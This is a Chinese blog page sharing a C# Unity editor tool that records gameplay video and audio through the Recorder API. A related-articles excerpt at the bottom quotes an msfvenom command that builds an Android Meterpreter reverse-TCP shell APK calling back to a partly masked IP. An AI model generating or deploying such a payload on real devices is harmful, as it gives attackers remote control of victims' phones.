Unity基于Recoder的API寫了一個隨時錄屏的工具

Tips:
需要有Recorder Package引用或存在在項目

using UnityEngine;
using UnityEditor;
using UnityEditor.Recorder;
using UnityEditor.Recorder.Input;
using System.IO;
using System;public class RecorderWindow : EditorWindow
{private RecorderController recorderController;private bool isRecording = false;private string outputPath = "Recordings";private string fileName = "Gameplay";private int resolutionWidth = 1920;private int resolutionHeight = 1080;private bool includeAudio = true;private bool showAdvanced = false;private int frameRate = 60;private bool autoTimestamp = true;private Vector2 scrollPosition;[MenuItem("Tools/Recorder Control")]public static void ShowWindow(){var window = GetWindow<RecorderWindow>("錄制控制");window.minSize = new Vector2(350, 450);window.SetupRecorder();}private void SetupRecorder(){if (recorderController != null) return;var controllerSettings = ScriptableObject.CreateInstance<RecorderControllerSettings>();recorderController = new RecorderController(controllerSettings);}private void OnGUI(){scrollPosition = EditorGUILayout.BeginScrollView(scrollPosition);EditorGUILayout.Space(10);EditorGUILayout.LabelField("錄制控制", EditorStyles.boldLabel);EditorGUILayout.Space(5);// Recording Statusvar status = isRecording ? "錄制中" : "準備就緒";var statusColor = isRecording ? new Color(0.8f, 0.2f, 0.2f) : new Color(0.2f, 0.7f, 0.2f);var origColor = GUI.color;GUI.color = statusColor;EditorGUILayout.LabelField($"狀態: {status}", EditorStyles.boldLabel);GUI.color = origColor;EditorGUILayout.Space(15);// Recording ControlsEditorGUILayout.BeginHorizontal();if (GUILayout.Button(isRecording ? "停止錄制" : "開始錄制", GUILayout.Height(40))){if (isRecording) StopRecording();else StartRecording();}if (GUILayout.Button("打開輸出目錄", GUILayout.Height(40))){OpenOutputFolder();}EditorGUILayout.EndHorizontal();EditorGUILayout.Space(20);EditorGUILayout.LabelField("錄制設置", EditorStyles.boldLabel);EditorGUILayout.Space(10);// Output SettingsEditorGUILayout.BeginVertical("box");EditorGUILayout.LabelField("輸出設置", EditorStyles.boldLabel);EditorGUILayout.BeginHorizontal();outputPath = EditorGUILayout.TextField("輸出路徑", outputPath);if (GUILayout.Button("瀏覽", GUILayout.Width(60))){outputPath = EditorUtility.SaveFolderPanel("選擇輸出目錄", outputPath, "");}EditorGUILayout.EndHorizontal();EditorGUILayout.BeginHorizontal();fileName = EditorGUILayout.TextField("文件名稱", fileName);autoTimestamp = EditorGUILayout.Toggle("添加時間戳", autoTimestamp, GUILayout.Width(150));EditorGUILayout.EndHorizontal();EditorGUILayout.EndVertical();// Video SettingsEditorGUILayout.BeginVertical("box");EditorGUILayout.LabelField("視頻設置", EditorStyles.boldLabel);EditorGUILayout.BeginHorizontal();resolutionWidth = EditorGUILayout.IntField("寬度", resolutionWidth);resolutionHeight = EditorGUILayout.IntField("高度", resolutionHeight);EditorGUILayout.EndHorizontal();frameRate = EditorGUILayout.IntSlider("幀率", frameRate, 1, 120);includeAudio = EditorGUILayout.Toggle("包含音頻", includeAudio);EditorGUILayout.EndVertical();// Advanced SettingsshowAdvanced = EditorGUILayout.Foldout(showAdvanced, "高級設置", true);if (showAdvanced){EditorGUILayout.BeginVertical("box");EditorGUILayout.HelpBox("這些設置用于特殊需求,通常使用默認值即可", MessageType.Info);EditorGUILayout.Space(5);if (GUILayout.Button("重置為默認設置")){ResetToDefaults();}EditorGUILayout.EndVertical();}EditorGUILayout.Space(20);EditorGUILayout.EndScrollView();// FooterEditorGUILayout.BeginVertical("box");EditorGUILayout.LabelField("快捷鍵: F9 - 開始/停止錄制", EditorStyles.centeredGreyMiniLabel);EditorGUILayout.LabelField("輸出目錄: " + GetFullOutputPath(), EditorStyles.centeredGreyMiniLabel);EditorGUILayout.EndVertical();}private void StartRecording(){SetupRecorder();var controllerSettings = recorderController.Settings;controllerSettings.ClearRecorderSettings(); // Clear existing settings// Create video recordervar videoRecorder = ScriptableObject.CreateInstance<MovieRecorderSettings>();videoRecorder.name = "Gameplay Recorder";videoRecorder.Enabled = true;// Output settingsvideoRecorder.OutputFile = Path.Combine(outputPath, fileName);if (autoTimestamp){videoRecorder.OutputFile += "_" + DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");}// Resolution settingsvideoRecorder.ImageInputSettings = new GameViewInputSettings{OutputWidth = resolutionWidth,OutputHeight = resolutionHeight};// Video formatvideoRecorder.VideoBitRateMode = VideoBitrateMode.High;videoRecorder.OutputFormat = MovieRecorderSettings.VideoRecorderOutputFormat.MP4;// Audio settingsif (includeAudio){var audioRecorder = ScriptableObject.CreateInstance<AudioRecorderSettings>();audioRecorder.Enabled = true;controllerSettings.AddRecorderSettings(audioRecorder);}// Frame rate settingscontrollerSettings.SetRecordModeToManual();controllerSettings.FrameRate = frameRate;// Add video recordercontrollerSettings.AddRecorderSettings(videoRecorder);// Start recordingrecorderController.PrepareRecording();recorderController.StartRecording();isRecording = true;Debug.Log($"錄制已開始: {GetFullOutputPath()}.mp4");}private void StopRecording(){if (recorderController != null){recorderController.StopRecording();Debug.Log($"錄制已停止,文件保存至: {GetFullOutputPath()}.mp4");}isRecording = false;}private string GetFullOutputPath(){string fullPath = Path.Combine(Directory.GetCurrentDirectory(), outputPath, fileName);if (autoTimestamp){fullPath += "_" + DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");}return fullPath;}private void OpenOutputFolder(){string fullPath = Path.Combine(Directory.GetCurrentDirectory(), outputPath);if (!Directory.Exists(fullPath)){Directory.CreateDirectory(fullPath);}EditorUtility.RevealInFinder(fullPath);}private void ResetToDefaults(){outputPath = "Recordings";fileName = "Gameplay";resolutionWidth = 1920;resolutionHeight = 1080;includeAudio = true;frameRate = 60;autoTimestamp = true;}private void OnInspectorUpdate(){if (isRecording && recorderController != null){Repaint();}}private void Update(){// Handle F9 key for recordingif (Event.current != null && Event.current.type == EventType.KeyDown && Event.current.keyCode == KeyCode.F9){if (isRecording) StopRecording();else StartRecording();Event.current.Use();}}private void OnDestroy(){if (isRecording){StopRecording();}}
}

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/92723.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/92723.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/92723.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

安卓滲透基礎(Metasploit)

生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一個工具&#xff0c;用于給 APK 文件簽名&#xff0c;確保應用的完整性和安全性。進入 File > Settings > Appearance &a…

從零構建自定義Spring Boot Starter:打造你的專屬開箱即用組件

一、引言:為什么需要自定義Spring Boot Starter Spring Boot的核心理念是"約定優于配置",而Starter(啟動器)正是這一理念的最佳實踐。官方提供的Starter(如spring-boot-starter-web、spring-boot-starter-data-jpa)通過封裝常用組件的配置,讓開發者能夠"…

MySQL 基礎操作教程

MySQL 是目前最流行的開源關系型數據庫管理系統之一&#xff0c;廣泛應用于Web開發、數據分析等場景。掌握基礎的增刪改查操作是入門的關鍵。本文將從環境準備開始&#xff0c;帶你深入&#xff0c;mysql一、前置準備&#xff1a;安裝與連接 MySQL 1. 安裝 MySQL Windows&#…

批量把在線網絡JSON文件(URL)轉換成Excel工具 JSON to Excel by WTSolutions

產品介紹 JSON to Excel by WTSolutions 是一款功能強大的工具&#xff0c;能夠將JSON數據快速轉換為Excel格式。該工具提供兩種使用方式&#xff1a;作為Microsoft Excel插件或作為在線網頁應用&#xff0c;滿足不同用戶的需求。無論是處理簡單的扁平JSON還是復雜的嵌套JSON結…

【排序算法】③直接選擇排序

系列文章目錄 第一篇&#xff1a;【排序算法】①直接插入排序-CSDN博客 第二篇&#xff1a;【排序算法】②希爾排序-CSDN博客 第三篇&#xff1a;【排序算法】③直接選擇排序-CSDN博客 第四篇&#xff1a;【排序算法】④堆排序-CSDN博客 第五篇&#xff1a;【排序算法】⑤冒…

2024年ESWA SCI1區TOP,自適應種群分配和變異選擇差分進化算法iDE-APAMS,深度解析+性能實測

目錄1.摘要2.自適應種群分配和變異選擇差分進化算法iDE-APAMS3.結果展示4.參考文獻5.代碼獲取6.算法輔導應用定制讀者交流1.摘要 為了提高差分進化算法&#xff08;DE&#xff09;在不同優化問題上的性能&#xff0c;本文提出了一種自適應種群分配和變異選擇差分進化算法&…

目標檢測數據集 - 無人機檢測數據集下載「包含COCO、YOLO兩種格式」

數據集介紹&#xff1a;無人機檢測數據集&#xff0c;真實采集高質量含無人機圖片數據&#xff0c;適用于空中飛行無人機的檢測。數據標注標簽包括 drone 無人機一個類別&#xff1b;適用實際項目應用&#xff1a;無人機檢測項目&#xff0c;以及作為通用檢測數據集場景數據的補…

Linux DNS服務解析原理與搭建

一、什么是DNSDNS 是域名服務 (Domain Name System) 的縮寫&#xff0c;它是由解析器和域名服務器組成的。 域名服務器是指保存有該網絡中所有主機的域名和對應IP地址&#xff0c; 并具有將域名轉換為IP地址功能的服務器。 域名必須對應一個IP地址&#xff0c;而IP地址不一定有…

typecho博客設置瀏覽器標簽頁圖標icon

修改瀏覽器標簽頁圖標&#xff08;favicon.ico&#xff09;&#xff1a;第1種&#xff1a;上傳到服務器本地目錄1、制作圖標文件&#xff1a;準備一張長寬比為 1:1 的圖片&#xff0c;將其上傳到第三方 ico 生成網站&#xff0c;生成后綴為.ico 的圖片文件&#xff0c;并將其命…

LoadBalancingSpi

本文是 Apache Ignite 中 Load Balancing SPI&#xff08;負載均衡服務提供接口&#xff09; 的核心說明&#xff0c;特別是其默認實現 RoundRobinLoadBalancingSpi 的工作原理。 它解釋了 Ignite 如何在集群中智能地將任務&#xff08;Job&#xff09;分配到不同的節點上執行&…

Day43--動態規劃--674. 最長連續遞增序列,300. 最長遞增子序列,718. 最長重復子數組

Day43–動態規劃–674. 最長連續遞增序列&#xff0c;300. 最長遞增子序列&#xff0c;718. 最長重復子數組 674. 最長連續遞增序列 方法&#xff1a;動態規劃 思路&#xff1a; dp[i]含義&#xff1a;到i這個位置&#xff08;包含i&#xff09;的連續遞增子序列的長度遞推…

支持 UMD 自定義組件與版本控制:從 Schema 到動態渲染

源碼 ? 支持 UMD 自定義組件與版本控制&#xff1a;從 Schema 到動態渲染 在低代碼平臺或可視化大屏 SDK 中&#xff0c;支持用戶上傳自定義組件 是一個必備能力。 而在 React 場景下&#xff0c;自定義組件通常以 UMD 格式 打包并暴露為全局變量。 本篇文章&#xff0c;我…

zookeeper3.8.4安裝以及客戶端C++api編譯

服務端直接下載編譯好的bin版本 Apache Download Mirrors C客戶端需要編譯庫文件 zookeeper 3.8.4 使用與C API編譯 - 丘貍尾 - 博客園 雜七雜八的依賴 sudo apt update sudo apt install -y \autoconf automake libtool libtool-bin m4 pkg-config gettext \cmake build-es…

使用行為樹控制機器人(一) —— 節點

文章目錄一、背景需求二、創建ActionNodes1. 功能實現1.1 頭文件定義1.2 源文件實現1.3 main文件實現1.4 my_tree.xml 實現2. 執行結果三、 執行失敗處理1. 添加嘗試次數1.1 功能實現1.2 實驗結果2. 完善異常處理2.1 多節點組合兜底2.2 實驗結果使用行為樹控制機器人(一) —— …

JavaScript Window Location

JavaScript Window Location JavaScript中的window.location對象是操作瀏覽器地址欄URL的一個非常有用的對象。它允許開發者獲取當前頁面的URL、查詢字符串、路徑等&#xff0c;并且可以修改它們來導航到不同的頁面。以下是關于window.location的詳細解析。 1. window.location…

Kubernetes生產環境健康檢查自動化指南

核心腳本功能&#xff1a; 一鍵檢查集群核心組件狀態自動化掃描節點/Pod異常存儲與網絡關鍵指標檢測風險分級輸出&#xff08;紅/黃/綠標識&#xff09;一、自動化巡檢腳本 (k8s-health-check.sh) #!/bin/bash # Desc: Kubernetes全維度健康檢查腳本 # 執行要求&#xff1a;kub…

消息隊列系統測試報告

目錄 一、項目背景 二、RabbitMQ介紹 1.什么是RabbitMQ&#xff1f; 2.RabbitMQ的工作流程是怎么樣的&#xff1f; 3.項目設計 三、測試概述 MQ 測試目標&#xff1a; 測試用例統計&#xff1a; 核心模塊測試詳情及代碼示例&#xff1a; 1. 數據庫管理&#xff08;Da…

基于 Axios 的 HTTP 請求封裝文件解析

import axios from "axios"; import { ElMessage } from "element-plus"; import store from "/store"; import router from "/router";// 創建axios實例 const service axios.create({baseURL: "http://localhost:8080/api&quo…

PowerDesigner生成帶注釋的sql方法

前提是name里面是有文字的&#xff1a; 方法開始&#xff1a; 第一步&#xff1a; Database → Edit Current DBMS → Script → Objects → Column → Add 把輸出模板改成&#xff1a; %20:COLUMN% %30:DATATYPE%[.Z:[%Compressed%? compressed][ %NULLNOTNULL%][%IDENTITY…